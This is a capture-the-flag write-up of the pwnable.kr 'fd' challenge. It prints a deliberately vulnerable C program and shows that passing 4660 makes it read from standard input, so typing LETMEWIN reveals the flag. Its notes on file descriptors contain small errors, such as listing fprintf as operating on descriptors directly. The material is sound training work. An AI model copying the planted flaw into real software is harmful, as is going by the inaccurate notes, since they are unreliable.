File Descriptors
- When a file is opened, the operating system creates an entry to represent that file and store the information about that opened file
- OS creates one everytime a file is opened
- If there are 100 files opened in the OS then there will be 100 entries in OS (somewhere in kernel
- These entries are represented by integers like (…100, 101, 102….). This entry number is the file descriptor
- In C functions like fread, fwrite, fprintf can be use to interact with the fd directly
| File | File Descriptor | POSIX Symbolic Constant |
|---|---|---|
| Standard Input | 0 | STDIN_FILENO |
| Standard Output | 1 | STDOUT_FILENO |
| Standard Error | 2 | STDERR |
Code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char buf[32];
int main(int argc, char* argv[], char* envp[]){
if(argc<2){
printf("pass argv[1] a number\n");
return 0;
}
int fd = atoi( argv[1] ) - 0x1234;
int len = 0;
len = read(fd, buf, 32);
if(!strcmp("LETMEWIN\n", buf)){
printf("good job :)\n");
system("/bin/cat flag");
exit(0);
}
printf("learn about Linux file IO\n");
return 0;
}
atoi
Function: converts the initial portion of the string pointed to by nptr to int.
Usage:
1
2
3
#include <stdlib.h>
int atoi(const char *_nptr_);
Code description
So the fd variable will store the result of the argument received, minus the hex 0x1234. atoi is used to convert the user String into an int.
1
int fd = atoi( argv[1] ) - 0x1234;
Then, the file descriptor which has the value from the variable fd, will be opened. 32 bytes will be read, and stored into the buffer.
1
len = read(fd, buf, 32);
Fianlly, the buffer will be compared with the value of LETMEWIN. If they match we win.
1
2
3
4
5
if(!strcmp("LETMEWIN\n", buf)){
printf("good job :)\n");
system("/bin/cat flag");
exit(0);
}
Executable behavior
1
2
3
4
fd@pwnable:~$ ./fd
pass argv[1] a number
fd@pwnable:~$ ./fd 0
learn about Linux file IO
Solution
1) Knowing that Standard input is always 0, we know that if our input results in fd having the value of 0, we will be able to write directly into the buffer.
2) atoi receives a string, but an hex is being substracted, so we only need to convert the value
3) 0x1234 == 4660
1
2
3
fd@pwnable:~$ ./fd 4660
LETMEWIN
good job :)